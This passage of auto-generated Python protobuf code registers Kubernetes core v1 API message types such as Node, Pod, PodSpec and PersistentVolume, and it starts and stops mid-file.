_sym_db.RegisterMessage(LimitRangeItem.DefaultRequestEntry) _sym_db.RegisterMessage(LimitRangeItem.MaxLimitRequestRatioEntry) LimitRangeList = _reflection.GeneratedProtocolMessageType('LimitRangeList', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGELIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeList) }) _sym_db.RegisterMessage(LimitRangeList) LimitRangeSpec = _reflection.GeneratedProtocolMessageType('LimitRangeSpec', (_message.Message,), { 'DESCRIPTOR' : _LIMITRANGESPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LimitRangeSpec) }) _sym_db.RegisterMessage(LimitRangeSpec) List = _reflection.GeneratedProtocolMessageType('List', (_message.Message,), { 'DESCRIPTOR' : _LIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.List) }) _sym_db.RegisterMessage(List) LoadBalancerIngress = _reflection.GeneratedProtocolMessageType('LoadBalancerIngress', (_message.Message,), { 'DESCRIPTOR' : _LOADBALANCERINGRESS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LoadBalancerIngress) }) _sym_db.RegisterMessage(LoadBalancerIngress) LoadBalancerStatus = _reflection.GeneratedProtocolMessageType('LoadBalancerStatus', (_message.Message,), { 'DESCRIPTOR' : _LOADBALANCERSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LoadBalancerStatus) }) _sym_db.RegisterMessage(LoadBalancerStatus) LocalObjectReference = _reflection.GeneratedProtocolMessageType('LocalObjectReference', (_message.Message,), { 'DESCRIPTOR' : _LOCALOBJECTREFERENCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LocalObjectReference) }) _sym_db.RegisterMessage(LocalObjectReference) LocalVolumeSource = _reflection.GeneratedProtocolMessageType('LocalVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _LOCALVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.LocalVolumeSource) }) _sym_db.RegisterMessage(LocalVolumeSource) NFSVolumeSource = _reflection.GeneratedProtocolMessageType('NFSVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _NFSVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NFSVolumeSource) }) _sym_db.RegisterMessage(NFSVolumeSource) Namespace = _reflection.GeneratedProtocolMessageType('Namespace', (_message.Message,), { 'DESCRIPTOR' : _NAMESPACE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Namespace) }) _sym_db.RegisterMessage(Namespace) NamespaceCondition = _reflection.GeneratedProtocolMessageType('NamespaceCondition', (_message.Message,), { 'DESCRIPTOR' : _NAMESPACECONDITION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NamespaceCondition) }) _sym_db.RegisterMessage(NamespaceCondition) NamespaceList = _reflection.GeneratedProtocolMessageType('NamespaceList', (_message.Message,), { 'DESCRIPTOR' : _NAMESPACELIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NamespaceList) }) _sym_db.RegisterMessage(NamespaceList) NamespaceSpec = _reflection.GeneratedProtocolMessageType('NamespaceSpec', (_message.Message,), { 'DESCRIPTOR' : _NAMESPACESPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NamespaceSpec) }) _sym_db.RegisterMessage(NamespaceSpec) NamespaceStatus = _reflection.GeneratedProtocolMessageType('NamespaceStatus', (_message.Message,), { 'DESCRIPTOR' : _NAMESPACESTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NamespaceStatus) }) _sym_db.RegisterMessage(NamespaceStatus) Node = _reflection.GeneratedProtocolMessageType('Node', (_message.Message,), { 'DESCRIPTOR' : _NODE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Node) }) _sym_db.RegisterMessage(Node) NodeAddress = _reflection.GeneratedProtocolMessageType('NodeAddress', (_message.Message,), { 'DESCRIPTOR' : _NODEADDRESS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeAddress) }) _sym_db.RegisterMessage(NodeAddress) NodeAffinity = _reflection.GeneratedProtocolMessageType('NodeAffinity', (_message.Message,), { 'DESCRIPTOR' : _NODEAFFINITY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeAffinity) }) _sym_db.RegisterMessage(NodeAffinity) NodeCondition = _reflection.GeneratedProtocolMessageType('NodeCondition', (_message.Message,), { 'DESCRIPTOR' : _NODECONDITION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeCondition) }) _sym_db.RegisterMessage(NodeCondition) NodeConfigSource = _reflection.GeneratedProtocolMessageType('NodeConfigSource', (_message.Message,), { 'DESCRIPTOR' : _NODECONFIGSOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeConfigSource) }) _sym_db.RegisterMessage(NodeConfigSource) NodeConfigStatus = _reflection.GeneratedProtocolMessageType('NodeConfigStatus', (_message.Message,), { 'DESCRIPTOR' : _NODECONFIGSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeConfigStatus) }) _sym_db.RegisterMessage(NodeConfigStatus) NodeDaemonEndpoints = _reflection.GeneratedProtocolMessageType('NodeDaemonEndpoints', (_message.Message,), { 'DESCRIPTOR' : _NODEDAEMONENDPOINTS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeDaemonEndpoints) }) _sym_db.RegisterMessage(NodeDaemonEndpoints) NodeList = _reflection.GeneratedProtocolMessageType('NodeList', (_message.Message,), { 'DESCRIPTOR' : _NODELIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeList) }) _sym_db.RegisterMessage(NodeList) NodeProxyOptions = _reflection.GeneratedProtocolMessageType('NodeProxyOptions', (_message.Message,), { 'DESCRIPTOR' : _NODEPROXYOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeProxyOptions) }) _sym_db.RegisterMessage(NodeProxyOptions) NodeResources = _reflection.GeneratedProtocolMessageType('NodeResources', (_message.Message,), { 'CapacityEntry' : _reflection.GeneratedProtocolMessageType('CapacityEntry', (_message.Message,), { 'DESCRIPTOR' : _NODERESOURCES_CAPACITYENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeResources.CapacityEntry) }) , 'DESCRIPTOR' : _NODERESOURCES, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeResources) }) _sym_db.RegisterMessage(NodeResources) _sym_db.RegisterMessage(NodeResources.CapacityEntry) NodeSelector = _reflection.GeneratedProtocolMessageType('NodeSelector', (_message.Message,), { 'DESCRIPTOR' : _NODESELECTOR, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeSelector) }) _sym_db.RegisterMessage(NodeSelector) NodeSelectorRequirement = _reflection.GeneratedProtocolMessageType('NodeSelectorRequirement', (_message.Message,), { 'DESCRIPTOR' : _NODESELECTORREQUIREMENT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeSelectorRequirement) }) _sym_db.RegisterMessage(NodeSelectorRequirement) NodeSelectorTerm = _reflection.GeneratedProtocolMessageType('NodeSelectorTerm', (_message.Message,), { 'DESCRIPTOR' : _NODESELECTORTERM, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeSelectorTerm) }) _sym_db.RegisterMessage(NodeSelectorTerm) NodeSpec = _reflection.GeneratedProtocolMessageType('NodeSpec', (_message.Message,), { 'DESCRIPTOR' : _NODESPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeSpec) }) _sym_db.RegisterMessage(NodeSpec) NodeStatus = _reflection.GeneratedProtocolMessageType('NodeStatus', (_message.Message,), { 'CapacityEntry' : _reflection.GeneratedProtocolMessageType('CapacityEntry', (_message.Message,), { 'DESCRIPTOR' : _NODESTATUS_CAPACITYENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeStatus.CapacityEntry) }) , 'AllocatableEntry' : _reflection.GeneratedProtocolMessageType('AllocatableEntry', (_message.Message,), { 'DESCRIPTOR' : _NODESTATUS_ALLOCATABLEENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeStatus.AllocatableEntry) }) , 'DESCRIPTOR' : _NODESTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeStatus) }) _sym_db.RegisterMessage(NodeStatus) _sym_db.RegisterMessage(NodeStatus.CapacityEntry) _sym_db.RegisterMessage(NodeStatus.AllocatableEntry) NodeSystemInfo = _reflection.GeneratedProtocolMessageType('NodeSystemInfo', (_message.Message,), { 'DESCRIPTOR' : _NODESYSTEMINFO, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.NodeSystemInfo) }) _sym_db.RegisterMessage(NodeSystemInfo) ObjectFieldSelector = _reflection.GeneratedProtocolMessageType('ObjectFieldSelector', (_message.Message,), { 'DESCRIPTOR' : _OBJECTFIELDSELECTOR, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ObjectFieldSelector) }) _sym_db.RegisterMessage(ObjectFieldSelector) ObjectReference = _reflection.GeneratedProtocolMessageType('ObjectReference', (_message.Message,), { 'DESCRIPTOR' : _OBJECTREFERENCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ObjectReference) }) _sym_db.RegisterMessage(ObjectReference) PersistentVolume = _reflection.GeneratedProtocolMessageType('PersistentVolume', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUME, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolume) }) _sym_db.RegisterMessage(PersistentVolume) PersistentVolumeClaim = _reflection.GeneratedProtocolMessageType('PersistentVolumeClaim', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIM, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaim) }) _sym_db.RegisterMessage(PersistentVolumeClaim) PersistentVolumeClaimCondition = _reflection.GeneratedProtocolMessageType('PersistentVolumeClaimCondition', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMCONDITION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimCondition) }) _sym_db.RegisterMessage(PersistentVolumeClaimCondition) PersistentVolumeClaimList = _reflection.GeneratedProtocolMessageType('PersistentVolumeClaimList', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimList) }) _sym_db.RegisterMessage(PersistentVolumeClaimList) PersistentVolumeClaimSpec = _reflection.GeneratedProtocolMessageType('PersistentVolumeClaimSpec', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMSPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimSpec) }) _sym_db.RegisterMessage(PersistentVolumeClaimSpec) PersistentVolumeClaimStatus = _reflection.GeneratedProtocolMessageType('PersistentVolumeClaimStatus', (_message.Message,), { 'CapacityEntry' : _reflection.GeneratedProtocolMessageType('CapacityEntry', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMSTATUS_CAPACITYENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimStatus.CapacityEntry) }) , 'AllocatedResourcesEntry' : _reflection.GeneratedProtocolMessageType('AllocatedResourcesEntry', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMSTATUS_ALLOCATEDRESOURCESENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimStatus.AllocatedResourcesEntry) }) , 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimStatus) }) _sym_db.RegisterMessage(PersistentVolumeClaimStatus) _sym_db.RegisterMessage(PersistentVolumeClaimStatus.CapacityEntry) _sym_db.RegisterMessage(PersistentVolumeClaimStatus.AllocatedResourcesEntry) PersistentVolumeClaimTemplate = _reflection.GeneratedProtocolMessageType('PersistentVolumeClaimTemplate', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMTEMPLATE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimTemplate) }) _sym_db.RegisterMessage(PersistentVolumeClaimTemplate) PersistentVolumeClaimVolumeSource = _reflection.GeneratedProtocolMessageType('PersistentVolumeClaimVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMECLAIMVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeClaimVolumeSource) }) _sym_db.RegisterMessage(PersistentVolumeClaimVolumeSource) PersistentVolumeList = _reflection.GeneratedProtocolMessageType('PersistentVolumeList', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMELIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeList) }) _sym_db.RegisterMessage(PersistentVolumeList) PersistentVolumeSource = _reflection.GeneratedProtocolMessageType('PersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeSource) }) _sym_db.RegisterMessage(PersistentVolumeSource) PersistentVolumeSpec = _reflection.GeneratedProtocolMessageType('PersistentVolumeSpec', (_message.Message,), { 'CapacityEntry' : _reflection.GeneratedProtocolMessageType('CapacityEntry', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMESPEC_CAPACITYENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeSpec.CapacityEntry) }) , 'DESCRIPTOR' : _PERSISTENTVOLUMESPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeSpec) }) _sym_db.RegisterMessage(PersistentVolumeSpec) _sym_db.RegisterMessage(PersistentVolumeSpec.CapacityEntry) PersistentVolumeStatus = _reflection.GeneratedProtocolMessageType('PersistentVolumeStatus', (_message.Message,), { 'DESCRIPTOR' : _PERSISTENTVOLUMESTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PersistentVolumeStatus) }) _sym_db.RegisterMessage(PersistentVolumeStatus) PhotonPersistentDiskVolumeSource = _reflection.GeneratedProtocolMessageType('PhotonPersistentDiskVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _PHOTONPERSISTENTDISKVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PhotonPersistentDiskVolumeSource) }) _sym_db.RegisterMessage(PhotonPersistentDiskVolumeSource) Pod = _reflection.GeneratedProtocolMessageType('Pod', (_message.Message,), { 'DESCRIPTOR' : _POD, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Pod) }) _sym_db.RegisterMessage(Pod) PodAffinity = _reflection.GeneratedProtocolMessageType('PodAffinity', (_message.Message,), { 'DESCRIPTOR' : _PODAFFINITY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodAffinity) }) _sym_db.RegisterMessage(PodAffinity) PodAffinityTerm = _reflection.GeneratedProtocolMessageType('PodAffinityTerm', (_message.Message,), { 'DESCRIPTOR' : _PODAFFINITYTERM, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodAffinityTerm) }) _sym_db.RegisterMessage(PodAffinityTerm) PodAntiAffinity = _reflection.GeneratedProtocolMessageType('PodAntiAffinity', (_message.Message,), { 'DESCRIPTOR' : _PODANTIAFFINITY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodAntiAffinity) }) _sym_db.RegisterMessage(PodAntiAffinity) PodAttachOptions = _reflection.GeneratedProtocolMessageType('PodAttachOptions', (_message.Message,), { 'DESCRIPTOR' : _PODATTACHOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodAttachOptions) }) _sym_db.RegisterMessage(PodAttachOptions) PodCondition = _reflection.GeneratedProtocolMessageType('PodCondition', (_message.Message,), { 'DESCRIPTOR' : _PODCONDITION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodCondition) }) _sym_db.RegisterMessage(PodCondition) PodDNSConfig = _reflection.GeneratedProtocolMessageType('PodDNSConfig', (_message.Message,), { 'DESCRIPTOR' : _PODDNSCONFIG, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodDNSConfig) }) _sym_db.RegisterMessage(PodDNSConfig) PodDNSConfigOption = _reflection.GeneratedProtocolMessageType('PodDNSConfigOption', (_message.Message,), { 'DESCRIPTOR' : _PODDNSCONFIGOPTION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodDNSConfigOption) }) _sym_db.RegisterMessage(PodDNSConfigOption) PodExecOptions = _reflection.GeneratedProtocolMessageType('PodExecOptions', (_message.Message,), { 'DESCRIPTOR' : _PODEXECOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodExecOptions) }) _sym_db.RegisterMessage(PodExecOptions) PodIP = _reflection.GeneratedProtocolMessageType('PodIP', (_message.Message,), { 'DESCRIPTOR' : _PODIP, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodIP) }) _sym_db.RegisterMessage(PodIP) PodList = _reflection.GeneratedProtocolMessageType('PodList', (_message.Message,), { 'DESCRIPTOR' : _PODLIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodList) }) _sym_db.RegisterMessage(PodList) PodLogOptions = _reflection.GeneratedProtocolMessageType('PodLogOptions', (_message.Message,), { 'DESCRIPTOR' : _PODLOGOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodLogOptions) }) _sym_db.RegisterMessage(PodLogOptions) PodOS = _reflection.GeneratedProtocolMessageType('PodOS', (_message.Message,), { 'DESCRIPTOR' : _PODOS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodOS) }) _sym_db.RegisterMessage(PodOS) PodPortForwardOptions = _reflection.GeneratedProtocolMessageType('PodPortForwardOptions', (_message.Message,), { 'DESCRIPTOR' : _PODPORTFORWARDOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodPortForwardOptions) }) _sym_db.RegisterMessage(PodPortForwardOptions) PodProxyOptions = _reflection.GeneratedProtocolMessageType('PodProxyOptions', (_message.Message,), { 'DESCRIPTOR' : _PODPROXYOPTIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodProxyOptions) }) _sym_db.RegisterMessage(PodProxyOptions) PodReadinessGate = _reflection.GeneratedProtocolMessageType('PodReadinessGate', (_message.Message,), { 'DESCRIPTOR' : _PODREADINESSGATE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodReadinessGate) }) _sym_db.RegisterMessage(PodReadinessGate) PodSecurityContext = _reflection.GeneratedProtocolMessageType('PodSecurityContext', (_message.Message,), { 'DESCRIPTOR' : _PODSECURITYCONTEXT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodSecurityContext) }) _sym_db.RegisterMessage(PodSecurityContext) PodSignature = _reflection.GeneratedProtocolMessageType('PodSignature', (_message.Message,), { 'DESCRIPTOR' : _PODSIGNATURE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodSignature) }) _sym_db.RegisterMessage(PodSignature) PodSpec = _reflection.GeneratedProtocolMessageType('PodSpec', (_message.Message,), { 'NodeSelectorEntry' : _reflection.GeneratedProtocolMessageType('NodeSelectorEntry', (_message.Message,), { 'DESCRIPTOR' : _PODSPEC_NODESELECTORENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodSpec.NodeSelectorEntry) }) , 'OverheadEntry' : _reflection.GeneratedProtocolMessageType('OverheadEntry', (_message.Message,), { 'DESCRIPTOR' : _PODSPEC_OVERHEADENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodSpec.OverheadEntry) }) , 'DESCRIPTOR' : _PODSPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodSpec) }) _sym_db.RegisterMessage(PodSpec) _sym_db.RegisterMessage(PodSpec.NodeSelectorEntry) _sym_db.RegisterMessage(PodSpec.OverheadEntry) PodStatus = _reflection.GeneratedProtocolMessageType('PodStatus', (_message.Message,), { 'DESCRIPTOR' : _PODSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodStatus) }) _sym_db.RegisterMessage(PodStatus) PodStatusResult = _reflection.GeneratedProtocolMessageType('PodStatusResult', (_message.Message,), { 'DESCRIPTOR' : _PODSTATUSRESULT, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodStatusResult) }) _sym_db.RegisterMessage(PodStatusResult) PodTemplate = _reflection.GeneratedProtocolMessageType('PodTemplate', (_message.Message,), { 'DESCRIPTOR' : _PODTEMPLATE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodTemplate) }) _sym_db.RegisterMessage(PodTemplate) PodTemplateList = _reflection.GeneratedProtocolMessageType('PodTemplateList', (_message.Message,), { 'DESCRIPTOR' : _PODTEMPLATELIST, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodTemplateList) }) _sym_db.RegisterMessage(PodTemplateList) PodTemplateSpec = _reflection.GeneratedProtocolMessageType('PodTemplateSpec', (_message.Message,), { 'DESCRIPTOR' : _PODTEMPLATESPEC, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PodTemplateSpec) }) _sym_db.RegisterMessage(PodTemplateSpec) PortStatus = _reflection.GeneratedProtocolMessageType('PortStatus', (_message.Message,), { 'DESCRIPTOR' : _PORTSTATUS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PortStatus) }) _sym_db.RegisterMessage(PortStatus) PortworxVolumeSource = _reflection.GeneratedProtocolMessageType('PortworxVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _PORTWORXVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PortworxVolumeSource) }) _sym_db.RegisterMessage(PortworxVolumeSource) Preconditions = _reflection.GeneratedProtocolMessageType('Preconditions', (_message.Message,), { 'DESCRIPTOR' : _PRECONDITIONS, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Preconditions) }) _sym_db.RegisterMessage(Preconditions) PreferAvoidPodsEntry = _reflection.GeneratedProtocolMessageType('PreferAvoidPodsEntry', (_message.Message,), { 'DESCRIPTOR' : _PREFERAVOIDPODSENTRY, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PreferAvoidPodsEntry) }) _sym_db.RegisterMessage(PreferAvoidPodsEntry) PreferredSchedulingTerm = _reflection.GeneratedProtocolMessageType('PreferredSchedulingTerm', (_message.Message,), { 'DESCRIPTOR' : _PREFERREDSCHEDULINGTERM, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.PreferredSchedulingTerm) }) _sym_db.RegisterMessage(PreferredSchedulingTerm) Probe = _reflection.GeneratedProtocolMessageType('Probe', (_message.Message,), { 'DESCRIPTOR' : _PROBE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.Probe) }) _sym_db.RegisterMessage(Probe) ProbeHandler = _reflection.GeneratedProtocolMessageType('ProbeHandler', (_message.Message,), { 'DESCRIPTOR' : _PROBEHANDLER, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ProbeHandler) }) _sym_db.RegisterMessage(ProbeHandler) ProjectedVolumeSource = _reflection.GeneratedProtocolMessageType('ProjectedVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _PROJECTEDVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.ProjectedVolumeSource) }) _sym_db.RegisterMessage(ProjectedVolumeSource) QuobyteVolumeSource = _reflection.GeneratedProtocolMessageType('QuobyteVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _QUOBYTEVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.QuobyteVolumeSource) }) _sym_db.RegisterMessage(QuobyteVolumeSource) RBDPersistentVolumeSource = _reflection.GeneratedProtocolMessageType('RBDPersistentVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _RBDPERSISTENTVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.RBDPersistentVolumeSource) }) _sym_db.RegisterMessage(RBDPersistentVolumeSource) RBDVolumeSource = _reflection.GeneratedProtocolMessageType('RBDVolumeSource', (_message.Message,), { 'DESCRIPTOR' : _RBDVOLUMESOURCE, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # @@protoc_insertion_point(class_scope:k8s.io.api.core.v1.RBDVolumeSource) }) _sym_db.RegisterMessage(RBDVolumeSource) RangeAllocation = _reflection.GeneratedProtocolMessageType('RangeAllocation', (_message.Message,), { 'DESCRIPTOR' : _RANGEALLOCATION, '__module__' : 'k8s.io.api.core.v1.generated_pb2' # 